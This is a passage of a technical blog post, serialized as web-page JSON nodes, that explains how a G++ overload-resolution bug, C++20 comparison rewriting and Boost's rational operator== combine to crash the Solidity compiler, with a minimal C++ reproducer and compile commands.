}\n",[89769],{"type":24,"tag":32,"props":89770,"children":89771},{"__ignoreMap":7},[89772],{"type":24,"tag":83,"props":89773,"children":89774},{"class":85,"line":86},[89775,89779,89783,89787,89792,89796,89800],{"type":24,"tag":83,"props":89776,"children":89777},{"style":117},[89778],{"type":29,"value":1094},{"type":24,"tag":83,"props":89780,"children":89781},{"style":107},[89782],{"type":29,"value":223},{"type":24,"tag":83,"props":89784,"children":89785},{"style":143},[89786],{"type":29,"value":4315},{"type":24,"tag":83,"props":89788,"children":89789},{"style":107},[89790],{"type":29,"value":89791},"lengthValue ",{"type":24,"tag":83,"props":89793,"children":89794},{"style":143},[89795],{"type":29,"value":8320},{"type":24,"tag":83,"props":89797,"children":89798},{"style":245},[89799],{"type":29,"value":248},{"type":24,"tag":83,"props":89801,"children":89802},{"style":107},[89803],{"type":29,"value":89804},") { ... }\n",{"type":24,"tag":25,"props":89806,"children":89807},{},[89808,89810,89816],{"type":29,"value":89809},"That single comparison — a ",{"type":24,"tag":32,"props":89811,"children":89813},{"className":89812},[],[89814],{"type":29,"value":89815},"boost::rational",{"type":29,"value":89817}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":89819,"children":89820},{},[89821],{"type":29,"value":89822},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":16422,"props":89824,"children":89825},{},[89826,89831,89836],{"type":24,"tag":67,"props":89827,"children":89828},{},[89829],{"type":29,"value":89830},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":67,"props":89832,"children":89833},{},[89834],{"type":29,"value":89835},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":67,"props":89837,"children":89838},{},[89839],{"type":29,"value":89840},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":89842,"children":89843},{},[89844],{"type":29,"value":89845},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":18531,"props":89847,"children":89848},{},[],{"type":24,"tag":51,"props":89850,"children":89852},{"id":89851},"background-the-setup",[89853],{"type":29,"value":89854},"Background: The Setup",{"type":24,"tag":25,"props":89856,"children":89857},{},[89858,89860,89867],{"type":29,"value":89859},"If you follow the ",{"type":24,"tag":2033,"props":89861,"children":89864},{"href":89862,"rel":89863},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[2037],[89865],{"type":29,"value":89866},"Solidity build documentation (v0.8.30)",{"type":29,"value":89868},", you'll see it recommends:",{"type":24,"tag":16422,"props":89870,"children":89871},{},[89872,89877],{"type":24,"tag":67,"props":89873,"children":89874},{},[89875],{"type":29,"value":89876},"Boost ≥ 1.67",{"type":24,"tag":67,"props":89878,"children":89879},{},[89880],{"type":29,"value":89881},"GCC ≥ 11",{"type":24,"tag":25,"props":89883,"children":89884},{},[89885],{"type":29,"value":89886},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":16422,"props":89888,"children":89889},{},[89890,89895],{"type":24,"tag":67,"props":89891,"children":89892},{},[89893],{"type":29,"value":89894},"G++ 11.4.0",{"type":24,"tag":67,"props":89896,"children":89897},{},[89898],{"type":29,"value":89899},"Boost 1.74.0",{"type":24,"tag":25,"props":89901,"children":89902},{},[89903],{"type":29,"value":89904},"So far, so good.",{"type":24,"tag":25,"props":89906,"children":89907},{},[89908,89910,89915],{"type":29,"value":89909},"However, Solidity enabled ",{"type":24,"tag":2040,"props":89911,"children":89912},{},[89913],{"type":29,"value":89914},"C++20",{"type":29,"value":89916}," in January 2025:",{"type":24,"tag":2677,"props":89918,"children":89919},{},[89920],{"type":24,"tag":25,"props":89921,"children":89922},{},[89923],{"type":24,"tag":2033,"props":89924,"children":89927},{"href":89925,"rel":89926},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[2037],[89928],{"type":29,"value":89929},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":89931,"children":89932},{},[89933],{"type":29,"value":89934},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":18531,"props":89936,"children":89937},{},[],{"type":24,"tag":51,"props":89939,"children":89941},{"id":89940},"part-i-a-12-year-old-g-bug-in-overload-resolution",[89942],{"type":29,"value":89943},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":1818,"props":89945,"children":89947},{"id":89946},"whats-overload-resolution",[89948],{"type":29,"value":89949},"What’s Overload Resolution?",{"type":24,"tag":25,"props":89951,"children":89952},{},[89953,89955,89961,89963,89969,89971,89976,89978,89983,89985,89991,89993,89998,89999,90005],{"type":29,"value":89954},"In C++, when you write an expression like ",{"type":24,"tag":32,"props":89956,"children":89958},{"className":89957},[],[89959],{"type":29,"value":89960},"a == b",{"type":29,"value":89962},", the compiler chooses among available ",{"type":24,"tag":32,"props":89964,"children":89966},{"className":89965},[],[89967],{"type":29,"value":89968},"operator==",{"type":29,"value":89970}," implementations by comparing their ",{"type":24,"tag":2040,"props":89972,"children":89973},{},[89974],{"type":29,"value":89975},"match quality",{"type":29,"value":89977},". A ",{"type":24,"tag":2040,"props":89979,"children":89980},{},[89981],{"type":29,"value":89982},"member function",{"type":29,"value":89984}," like ",{"type":24,"tag":32,"props":89986,"children":89988},{"className":89987},[],[89989],{"type":29,"value":89990},"a.operator==(b)",{"type":29,"value":89992}," usually has higher priority than a ",{"type":24,"tag":2040,"props":89994,"children":89995},{},[89996],{"type":29,"value":89997},"non-member function",{"type":29,"value":89984},{"type":24,"tag":32,"props":90000,"children":90002},{"className":90001},[],[90003],{"type":29,"value":90004},"operator==(a, b)",{"type":29,"value":90006}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":90008,"children":90009},{},[90010],{"type":29,"value":90011},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":1818,"props":90013,"children":90015},{"id":90014},"the-bug",[90016],{"type":29,"value":90017},"The Bug",{"type":24,"tag":25,"props":90019,"children":90020},{},[90021,90023,90030],{"type":29,"value":90022},"In 2012, a bug was filed: ",{"type":24,"tag":2033,"props":90024,"children":90027},{"href":90025,"rel":90026},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[2037],[90028],{"type":29,"value":90029},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":90031},". The issue? In expressions where:",{"type":24,"tag":16422,"props":90033,"children":90034},{},[90035,90055],{"type":24,"tag":67,"props":90036,"children":90037},{},[90038,90040,90046,90048,90053],{"type":29,"value":90039},"A class ",{"type":24,"tag":32,"props":90041,"children":90043},{"className":90042},[],[90044],{"type":29,"value":90045},"rational\u003CT>",{"type":29,"value":90047}," has a templated ",{"type":24,"tag":32,"props":90049,"children":90051},{"className":90050},[],[90052],{"type":29,"value":89968},{"type":29,"value":90054}," member function",{"type":24,"tag":67,"props":90056,"children":90057},{},[90058,90060,90066],{"type":29,"value":90059},"There's also a more generic free ",{"type":24,"tag":32,"props":90061,"children":90063},{"className":90062},[],[90064],{"type":29,"value":90065},"operator==(rational\u003CT>, U)",{"type":29,"value":98},{"type":24,"tag":25,"props":90068,"children":90069},{},[90070],{"type":24,"tag":2040,"props":90071,"children":90072},{},[90073],{"type":29,"value":90074},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":90076,"children":90077},{},[90078],{"type":24,"tag":2040,"props":90079,"children":90080},{},[90081],{"type":29,"value":90082},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":90084,"children":90085},{},[90086,90088,90093,90095,90102],{"type":29,"value":90087},"Why? Because G++ mishandles ",{"type":24,"tag":2040,"props":90089,"children":90090},{},[90091],{"type":29,"value":90092},"templated conversion + non-exact match",{"type":29,"value":90094},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":2033,"props":90096,"children":90099},{"href":90097,"rel":90098},"https://cplusplus.github.io/CWG/issues/532.html",[2037],[90100],{"type":29,"value":90101},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":161},{"type":24,"tag":1818,"props":90104,"children":90106},{"id":90105},"a-minimal-reproducer",[90107],{"type":29,"value":90108},"A Minimal Reproducer",{"type":24,"tag":25,"props":90110,"children":90111},{},[90112],{"type":29,"value":90113},"Let’s see this in action:",{"type":24,"tag":73,"props":90115,"children":90117},{"code":90116,"language":28863,"meta":7,"className":28861,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[90118],{"type":24,"tag":32,"props":90119,"children":90120},{"__ignoreMap":7},[90121,90134,90141,90166,90182,90190,90214,90259,90287,90302,90309,90316,90323,90359,90428,90453,90468,90475,90482,90498,90523,90547],{"type":24,"tag":83,"props":90122,"children":90123},{"class":85,"line":86},[90124,90129],{"type":24,"tag":83,"props":90125,"children":90126},{"style":117},[90127],{"type":29,"value":90128},"#include",{"type":24,"tag":83,"props":90130,"children":90131},{"style":187},[90132],{"type":29,"value":90133}," \u003Ciostream>\n",{"type":24,"tag":83,"props":90135,"children":90136},{"class":85,"line":113},[90137],{"type":24,"tag":83,"props":90138,"children":90139},{"emptyLinePlaceholder":16},[90140],{"type":29,"value":3422},{"type":24,"tag":83,"props":90142,"children":90143},{"class":85,"line":128},[90144,90148,90152,90157,90162],{"type":24,"tag":83,"props":90145,"children":90146},{"style":90},[90147],{"type":29,"value":65931},{"type":24,"tag":83,"props":90149,"children":90150},{"style":107},[90151],{"type":29,"value":8463},{"type":24,"tag":83,"props":90153,"children":90154},{"style":90},[90155],{"type":29,"value":90156},"typename",{"type":24,"tag":83,"props":90158,"children":90159},{"style":3163},[90160],{"type":29,"value":90161}," IntType",{"type":24,"tag":83,"props":90163,"children":90164},{"style":107},[90165],{"type":29,"value":5738},{"type":24,"tag":83,"props":90167,"children":90168},{"class":85,"line":183},[90169,90173,90178],{"type":24,"tag":83,"props":90170,"children":90171},{"style":90},[90172],{"type":29,"value":70125},{"type":24,"tag":83,"props":90174,"children":90175},{"style":3163},[90176],{"type":29,"value":90177}," rational",{"type":24,"tag":83,"props":90179,"children":90180},{"style":107},[90181],{"type":29,"value":125},{"type":24,"tag":83,"props":90183,"children":90184},{"class":85,"line":203},[90185],{"type":24,"tag":83,"props":90186,"children":90187},{"style":90},[90188],{"type":29,"value":90189},"public:\n",{"type":24,"tag":83,"props":90191,"children":90192},{"class":85,"line":212},[90193,90198,90202,90206,90210],{"type":24,"tag":83,"props":90194,"children":90195},{"style":90},[90196],{"type":29,"value":90197},"    template",{"type":24,"tag":83,"props":90199,"children":90200},{"style":107},[90201],{"type":29,"value":8463},{"type":24,"tag":83,"props":90203,"children":90204},{"style":90},[90205],{"type":29,"value":70125},{"type":24,"tag":83,"props":90207,"children":90208},{"style":3163},[90209],{"type":29,"value":5664},{"type":24,"tag":83,"props":90211,"children":90212},{"style":107},[90213],{"type":29,"value":5738},{"type":24,"tag":83,"props":90215,"children":90216},{"class":85,"line":256},[90217,90221,90226,90231,90235,90239,90243,90247,90251,90255],{"type":24,"tag":83,"props":90218,"children":90219},{"style":90},[90220],{"type":29,"value":46192},{"type":24,"tag":83,"props":90222,"children":90223},{"style":90},[90224],{"type":29,"value":90225}," operator",{"type":24,"tag":83,"props":90227,"children":90228},{"style":107},[90229],{"type":29,"value":90230},"==(",{"type":24,"tag":83,"props":90232,"children":90233},{"style":90},[90234],{"type":29,"value":9401},{"type":24,"tag":83,"props":90236,"children":90237},{"style":3163},[90238],{"type":29,"value":5664},{"type":24,"tag":83,"props":90240,"children":90241},{"style":90},[90242],{"type":29,"value":2853},{"type":24,"tag":83,"props":90244,"children":90245},{"style":137},[90246],{"type":29,"value":3142},{"type":24,"tag":83,"props":90248,"children":90249},{"style":107},[90250],{"type":29,"value":633},{"type":24,"tag":83,"props":90252,"children":90253},{"style":90},[90254],{"type":29,"value":9401},{"type":24,"tag":83,"props":90256,"children":90257},{"style":107},[90258],{"type":29,"value":125},{"type":24,"tag":83,"props":90260,"children":90261},{"class":85,"line":270},[90262,90267,90272,90277,90282],{"type":24,"tag":83,"props":90263,"children":90264},{"style":107},[90265],{"type":29,"value":90266},"        std::cout ",{"type":24,"tag":83,"props":90268,"children":90269},{"style":143},[90270],{"type":29,"value":90271},"\u003C\u003C",{"type":24,"tag":83,"props":90273,"children":90274},{"style":187},[90275],{"type":29,"value":90276}," \"clang++ resolved member\"",{"type":24,"tag":83,"props":90278,"children":90279},{"style":143},[90280],{"type":29,"value":90281}," \u003C\u003C",{"type":24,"tag":83,"props":90283,"children":90284},{"style":107},[90285],{"type":29,"value":90286}," std::endl;\n",{"type":24,"tag":83,"props":90288,"children":90289},{"class":85,"line":302},[90290,90294,90298],{"type":24,"tag":83,"props":90291,"children":90292},{"style":117},[90293],{"type":29,"value":15482},{"type":24,"tag":83,"props":90295,"children":90296},{"style":90},[90297],{"type":29,"value":12215},{"type":24,"tag":83,"props":90299,"children":90300},{"style":107},[90301],{"type":29,"value":321},{"type":24,"tag":83,"props":90303,"children":90304},{"class":85,"line":324},[90305],{"type":24,"tag":83,"props":90306,"children":90307},{"style":107},[90308],{"type":29,"value":446},{"type":24,"tag":83,"props":90310,"children":90311},{"class":85,"line":345},[90312],{"type":24,"tag":83,"props":90313,"children":90314},{"style":107},[90315],{"type":29,"value":1071},{"type":24,"tag":83,"props":90317,"children":90318},{"class":85,"line":358},[90319],{"type":24,"tag":83,"props":90320,"children":90321},{"emptyLinePlaceholder":16},[90322],{"type":29,"value":3422},{"type":24,"tag":83,"props":90324,"children":90325},{"class":85,"line":367},[90326,90330,90334,90338,90343,90347,90351,90355],{"type":24,"tag":83,"props":90327,"children":90328},{"style":90},[90329],{"type":29,"value":65931},{"type":24,"tag":83,"props":90331,"children":90332},{"style":107},[90333],{"type":29,"value":8463},{"type":24,"tag":83,"props":90335,"children":90336},{"style":90},[90337],{"type":29,"value":70125},{"type":24,"tag":83,"props":90339,"children":90340},{"style":3163},[90341],{"type":29,"value":90342}," Arg",{"type":24,"tag":83,"props":90344,"children":90345},{"style":107},[90346],{"type":29,"value":568},{"type":24,"tag":83,"props":90348,"children":90349},{"style":90},[90350],{"type":29,"value":70125},{"type":24,"tag":83,"props":90352,"children":90353},{"style":3163},[90354],{"type":29,"value":90161},{"type":24,"tag":83,"props":90356,"children":90357},{"style":107},[90358],{"type":29,"value":5738},{"type":24,"tag":83,"props":90360,"children":90361},{"class":85,"line":406},[90362,90366,90370,90374,90378,90382,90386,90391,90395,90399,90403,90407,90411,90415,90419,90424],{"type":24,"tag":83,"props":90363,"children":90364},{"style":90},[90365],{"type":29,"value":29437},{"type":24,"tag":83,"props":90367,"children":90368},{"style":90},[90369],{"type":29,"value":90225},{"type":24,"tag":83,"props":90371,"children":90372},{"style":107},[90373],{"type":29,"value":90230},{"type":24,"tag":83,"props":90375,"children":90376},{"style":90},[90377],{"type":29,"value":9401},{"type":24,"tag":83,"props":90379,"children":90380},{"style":3163},[90381],{"type":29,"value":90177},{"type":24,"tag":83,"props":90383,"children":90384},{"style":107},[90385],{"type":29,"value":5552},{"type":24,"tag":83,"props":90387,"children":90388},{"style":3163},[90389],{"type":29,"value":90390},"IntType",{"type":24,"tag":83,"props":90392,"children":90393},{"style":107},[90394],{"type":29,"value":10209},{"type":24,"tag":83,"props":90396,"children":90397},{"style":90},[90398],{"type":29,"value":2853},{"type":24,"tag":83,"props":90400,"children":90401},{"style":137},[90402],{"type":29,"value":89549},{"type":24,"tag":83,"props":90404,"children":90405},{"style":107},[90406],{"type":29,"value":568},{"type":24,"tag":83,"props":90408,"children":90409},{"style":90},[90410],{"type":29,"value":9401},{"type":24,"tag":83,"props":90412,"children":90413},{"style":3163},[90414],{"type":29,"value":90342},{"type":24,"tag":83,"props":90416,"children":90417},{"style":90},[90418],{"type":29,"value":2853},{"type":24,"tag":83,"props":90420,"children":90421},{"style":137},[90422],{"type":29,"value":90423}," b",{"type":24,"tag":83,"props":90425,"children":90426},{"style":107},[90427],{"type":29,"value":253},{"type":24,"tag":83,"props":90429,"children":90430},{"class":85,"line":427},[90431,90436,90440,90445,90449],{"type":24,"tag":83,"props":90432,"children":90433},{"style":107},[90434],{"type":29,"value":90435},"    std::cout ",{"type":24,"tag":83,"props":90437,"children":90438},{"style":143},[90439],{"type":29,"value":90271},{"type":24,"tag":83,"props":90441,"children":90442},{"style":187},[90443],{"type":29,"value":90444}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":83,"props":90446,"children":90447},{"style":143},[90448],{"type":29,"value":90281},{"type":24,"tag":83,"props":90450,"children":90451},{"style":107},[90452],{"type":29,"value":90286},{"type":24,"tag":83,"props":90454,"children":90455},{"class":85,"line":440},[90456,90460,90464],{"type":24,"tag":83,"props":90457,"children":90458},{"style":117},[90459],{"type":29,"value":16725},{"type":24,"tag":83,"props":90461,"children":90462},{"style":90},[90463],{"type":29,"value":8803},{"type":24,"tag":83,"props":90465,"children":90466},{"style":107},[90467],{"type":29,"value":321},{"type":24,"tag":83,"props":90469,"children":90470},{"class":85,"line":449},[90471],{"type":24,"tag":83,"props":90472,"children":90473},{"style":107},[90474],{"type":29,"value":464},{"type":24,"tag":83,"props":90476,"children":90477},{"class":85,"line":458},[90478],{"type":24,"tag":83,"props":90479,"children":90480},{"emptyLinePlaceholder":16},[90481],{"type":29,"value":3422},{"type":24,"tag":83,"props":90483,"children":90484},{"class":85,"line":1065},[90485,90489,90494],{"type":24,"tag":83,"props":90486,"children":90487},{"style":90},[90488],{"type":29,"value":18786},{"type":24,"tag":83,"props":90490,"children":90491},{"style":101},[90492],{"type":29,"value":90493}," main",{"type":24,"tag":83,"props":90495,"children":90496},{"style":107},[90497],{"type":29,"value":110},{"type":24,"tag":83,"props":90499,"children":90500},{"class":85,"line":1668},[90501,90506,90510,90514,90518],{"type":24,"tag":83,"props":90502,"children":90503},{"style":107},[90504],{"type":29,"value":90505},"    rational",{"type":24,"tag":83,"props":90507,"children":90508},{"style":143},[90509],{"type":29,"value":5552},{"type":24,"tag":83,"props":90511,"children":90512},{"style":90},[90513],{"type":29,"value":18786},{"type":24,"tag":83,"props":90515,"children":90516},{"style":143},[90517],{"type":29,"value":10209},{"type":24,"tag":83,"props":90519,"children":90520},{"style":107},[90521],{"type":29,"value":90522}," r;\n",{"type":24,"tag":83,"props":90524,"children":90525},{"class":85,"line":1713},[90526,90530,90535,90539,90543],{"type":24,"tag":83,"props":90527,"children":90528},{"style":117},[90529],{"type":29,"value":16725},{"type":24,"tag":83,"props":90531,"children":90532},{"style":107},[90533],{"type":29,"value":90534}," r ",{"type":24,"tag":83,"props":90536,"children":90537},{"style":143},[90538],{"type":29,"value":8320},{"type":24,"tag":83,"props":90540,"children":90541},{"style":245},[90542],{"type":29,"value":248},{"type":24,"tag":83,"props":90544,"children":90545},{"style":107},[90546],{"type":29,"value":321},{"type":24,"tag":83,"props":90548,"children":90549},{"class":85,"line":1730},[90550],{"type":24,"tag":83,"props":90551,"children":90552},{"style":107},[90553],{"type":29,"value":464},{"type":24,"tag":16422,"props":90555,"children":90556},{},[90557],{"type":24,"tag":67,"props":90558,"children":90559},{},[90560],{"type":29,"value":90561},"Compile with g++\u003C14:",{"type":24,"tag":73,"props":90563,"children":90565},{"code":90564,"language":3987,"meta":7,"className":3988,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[90566],{"type":24,"tag":32,"props":90567,"children":90568},{"__ignoreMap":7},[90569],{"type":24,"tag":83,"props":90570,"children":90571},{"class":85,"line":86},[90572,90577,90582,90587,90592,90596,90601],{"type":24,"tag":83,"props":90573,"children":90574},{"style":101},[90575],{"type":29,"value":90576},"g++",{"type":24,"tag":83,"props":90578,"children":90579},{"style":187},[90580],{"type":29,"value":90581}," -std=c++17",{"type":24,"tag":83,"props":90583,"children":90584},{"style":187},[90585],{"type":29,"value":90586}," main.cpp",{"type":24,"tag":83,"props":90588,"children":90589},{"style":187},[90590],{"type":29,"value":90591}," -o",{"type":24,"tag":83,"props":90593,"children":90594},{"style":187},[90595],{"type":29,"value":30429},{"type":24,"tag":83,"props":90597,"children":90598},{"style":107},[90599],{"type":29,"value":90600}," && ",{"type":24,"tag":83,"props":90602,"children":90603},{"style":101},[90604],{"type":29,"value":90605},"./test\n",{"type":24,"tag":25,"props":90607,"children":90608},{},[90609],{"type":29,"value":90610},"Output (on g++ 11.4):",{"type":24,"tag":73,"props":90612,"children":90614},{"code":90613},"g++ \u003C14 resolved non-member\n",[90615],{"type":24,"tag":32,"props":90616,"children":90617},{"__ignoreMap":7},[90618],{"type":29,"value":90613},{"type":24,"tag":16422,"props":90620,"children":90621},{},[90622],{"type":24,"tag":67,"props":90623,"children":90624},{},[90625],{"type":29,"value":90626},"Compile with clang++:",{"type":24,"tag":73,"props":90628,"children":90630},{"code":90629,"language":3987,"meta":7,"className":3988,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[90631],{"type":24,"tag":32,"props":90632,"children":90633},{"__ignoreMap":7},[90634],{"type":24,"tag":83,"props":90635,"children":90636},{"class":85,"line":86},[90637,90642,90646,90650,90654,90658,90662],{"type":24,"tag":83,"props":90638,"children":90639},{"style":101},[90640],{"type":29,"value":90641},"clang++",{"type":24,"tag":83,"props":90643,"children":90644},{"style":187},[90645],{"type":29,"value":90581},{"type":24,"tag":83,"props":90647,"children":90648},{"style":187},[90649],{"type":29,"value":90586},{"type":24,"tag":83,"props":90651,"children":90652},{"style":187},[90653],{"type":29,"value":90591},{"type":24,"tag":83,"props":90655,"children":90656},{"style":187},[90657],{"type":29,"value":30429},{"type":24,"tag":83,"props":90659,"children":90660},{"style":107},[90661],{"type":29,"value":90600},{"type":24,"tag":83,"props":90663,"children":90664},{"style":101},[90665],{"type":29,"value":90605},{"type":24,"tag":25,"props":90667,"children":90668},{},[90669],{"type":29,"value":90670},"Output:",{"type":24,"tag":73,"props":90672,"children":90674},{"code":90673},"clang++ resolved member\n",[90675],{"type":24,"tag":32,"props":90676,"children":90677},{"__ignoreMap":7},[90678],{"type":29,"value":90673},{"type":24,"tag":25,"props":90680,"children":90681},{},[90682],{"type":29,"value":90683},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":18531,"props":90685,"children":90686},{},[],{"type":24,"tag":51,"props":90688,"children":90690},{"id":90689},"part-ii-c20s-symmetric-comparison-feature",[90691],{"type":29,"value":90692},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":1818,"props":90694,"children":90696},{"id":90695},"what-changed-in-c20",[90697],{"type":29,"value":90698},"What Changed in C++20?",{"type":24,"tag":25,"props":90700,"children":90701},{},[90702,90704,90717,90718,90723],{"type":29,"value":90703},"C++20 introduced the ",{"type":24,"tag":2033,"props":90705,"children":90708},{"href":90706,"rel":90707},"https://en.cppreference.com/w/cpp/language/operator_comparison",[2037],[90709,90711],{"type":29,"value":90710},"spaceship operator ",{"type":24,"tag":32,"props":90712,"children":90714},{"className":90713},[],[90715],{"type":29,"value":90716},"\u003C=>",{"type":29,"value":2287},{"type":24,"tag":2040,"props":90719,"children":90720},{},[90721],{"type":29,"value":90722},"defaulted comparison rewrites",{"type":29,"value":161},{"type":24,"tag":25,"props":90725,"children":90726},{},[90727,90729,90734],{"type":29,"value":90728},"When you define a two-argument ",{"type":24,"tag":32,"props":90730,"children":90732},{"className":90731},[],[90733],{"type":29,"value":89968},{"type":29,"value":90735},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":16422,"props":90737,"children":90738},{},[90739,90750],{"type":24,"tag":67,"props":90740,"children":90741},{},[90742,90744],{"type":29,"value":90743},"If you define: ",{"type":24,"tag":32,"props":90745,"children":90747},{"className":90746},[],[90748],{"type":29,"value":90749},"bool operator==(T1, T2);",{"type":24,"tag":67,"props":90751,"children":90752},{},[90753,90755,90761],{"type":29,"value":90754},"Then ",{"type":24,"tag":32,"props":90756,"children":90758},{"className":90757},[],[90759],{"type":29,"value":90760},"T2 == T1",{"type":29,"value":90762}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":90764,"children":90765},{},[90766,90768,90773,90774,90779,90781,90787,90789,90794],{"type":29,"value":90767},"This rewrite is ",{"type":24,"tag":2040,"props":90769,"children":90770},{},[90771],{"type":29,"value":90772},"recursive",{"type":29,"value":1920},{"type":24,"tag":32,"props":90775,"children":90777},{"className":90776},[],[90778],{"type":29,"value":89960},{"type":29,"value":90780}," becomes ",{"type":24,"tag":32,"props":90782,"children":90784},{"className":90783},[],[90785],{"type":29,"value":90786},"b == a",{"type":29,"value":90788},", which becomes ",{"type":24,"tag":32,"props":90790,"children":90792},{"className":90791},[],[90793],{"type":29,"value":89960},{"type":29,"value":90795}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":90797,"children":90798},{},[90799],{"type":29,"value":90800},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":18531,"props":90802,"children":90803},{},[],{"type":24,"tag":51,"props":90805,"children":90807},{"id":90806},"part-iii-the-boost-trapdoor",[90808],{"type":29,"value":90809},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":90811,"children":90812},{},[90813,90815,90821,90823,90828],{"type":29,"value":90814},"The old Boost ",{"type":24,"tag":32,"props":90816,"children":90818},{"className":90817},[],[90819],{"type":29,"value":90820},"rational",{"type":29,"value":90822}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":32,"props":90824,"children":90826},{"className":90825},[],[90827],{"type":29,"value":89968},{"type":29,"value":195},{"type":24,"tag":73,"props":90830,"children":90832},{"code":90831,"language":28863,"meta":7,"className":28861,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[90833],{"type":24,"tag":32,"props":90834,"children":90835},{"__ignoreMap":7},[90836,90871,90894,90906,90913,90920,90927,90934,90941,90964,91052,91059,91110,91117,91124,91131,91138,91173,91181,91209,91248,91313,91320,91340],{"type":24,"tag":83,"props":90837,"children":90838},{"class":85,"line":86},[90839,90843,90847,90851,90855,90859,90863,90867],{"type":24,"tag":83,"props":90840,"children":90841},{"style":90},[90842],{"type":29,"value":65931},{"type":24,"tag":83,"props":90844,"children":90845},{"style":107},[90846],{"type":29,"value":8463},{"type":24,"tag":83,"props":90848,"children":90849},{"style":90},[90850],{"type":29,"value":70125},{"type":24,"tag":83,"props":90852,"children":90853},{"style":3163},[90854],{"type":29,"value":90342},{"type":24,"tag":83,"props":90856,"children":90857},{"style":107},[90858],{"type":29,"value":568},{"type":24,"tag":83,"props":90860,"children":90861},{"style":90},[90862],{"type":29,"value":70125},{"type":24,"tag":83,"props":90864,"children":90865},{"style":3163},[90866],{"type":29,"value":90161},{"type":24,"tag":83,"props":90868,"children":90869},{"style":107},[90870],{"type":29,"value":5738},{"type":24,"tag":83,"props":90872,"children":90873},{"class":85,"line":113},[90874,90878,90882,90886,90890],{"type":24,"tag":83,"props":90875,"children":90876},{"style":90},[90877],{"type":29,"value":65931},{"type":24,"tag":83,"props":90879,"children":90880},{"style":107},[90881],{"type":29,"value":8463},{"type":24,"tag":83,"props":90883,"children":90884},{"style":90},[90885],{"type":29,"value":90156},{"type":24,"tag":83,"props":90887,"children":90888},{"style":3163},[90889],{"type":29,"value":90161},{"type":24,"tag":83,"props":90891,"children":90892},{"style":107},[90893],{"type":29,"value":5738},{"type":24,"tag":83,"props":90895,"children":90896},{"class":85,"line":128},[90897,90901],{"type":24,"tag":83,"props":90898,"children":90899},{"style":90},[90900],{"type":29,"value":70125},{"type":24,"tag":83,"props":90902,"children":90903},{"style":3163},[90904],{"type":29,"value":90905}," rational\n",{"type":24,"tag":83,"props":90907,"children":90908},{"class":85,"line":183},[90909],{"type":24,"tag":83,"props":90910,"children":90911},{"style":107},[90912],{"type":29,"value":10628},{"type":24,"tag":83,"props":90914,"children":90915},{"class":85,"line":203},[90916],{"type":24,"tag":83,"props":90917,"children":90918},{"style":107},[90919],{"type":29,"value":20080},{"type":24,"tag":83,"props":90921,"children":90922},{"class":85,"line":212},[90923],{"type":24,"tag":83,"props":90924,"children":90925},{"style":90},[90926],{"type":29,"value":90189},{"type":24,"tag":83,"props":90928,"children":90929},{"class":85,"line":256},[90930],{"type":24,"tag":83,"props":90931,"children":90932},{"style":107},[90933],{"type":29,"value":20080},{"type":24,"tag":83,"props":90935,"children":90936},{"class":85,"line":270},[90937],{"type":24,"tag":83,"props":90938,"children":90939},{"style":107},[90940],{"type":29,"value":61501},{"type":24,"tag":83,"props":90942,"children":90943},{"class":85,"line":302},[90944,90948,90952,90956,90960],{"type":24,"tag":83,"props":90945,"children":90946},{"style":90},[90947],{"type":29,"value":90197},{"type":24,"tag":83,"props":90949,"children":90950},{"style":107},[90951],{"type":29,"value":8463},{"ty